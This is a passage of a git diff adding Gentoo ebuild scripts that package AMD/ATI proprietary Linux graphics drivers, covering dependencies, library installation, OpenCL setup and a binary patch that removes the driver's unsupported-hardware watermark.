+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.4.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.4.ebuild
new file mode 100644
index 00000000..7d0cf802
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.4.ebuild
@@ -0,0 +1,416 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.6.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.6.ebuild
new file mode 100644
index 00000000..2637daac
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.6.ebuild
@@ -0,0 +1,430 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+RESTRICT="bindist"
+
+RDEPEND="<=x11-base/xorg-server-1.12.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ ${MY_V[2]} == beta ]]; then
+		unpack ${A}
+		RUN="${S}/${A/%.zip/.run}"
+	else
+		RUN="${DISTDIR}/${A}"
+	fi
+	sh ${RUN} --extract "${S}" # 2>&1 > /dev/null || die
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	# Get rid of watermark. Oldest known reference:
+	# http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+	ebegin "Disabling watermark"
+	driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+	done
+	eend $? || die "Disabling watermark failed"
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
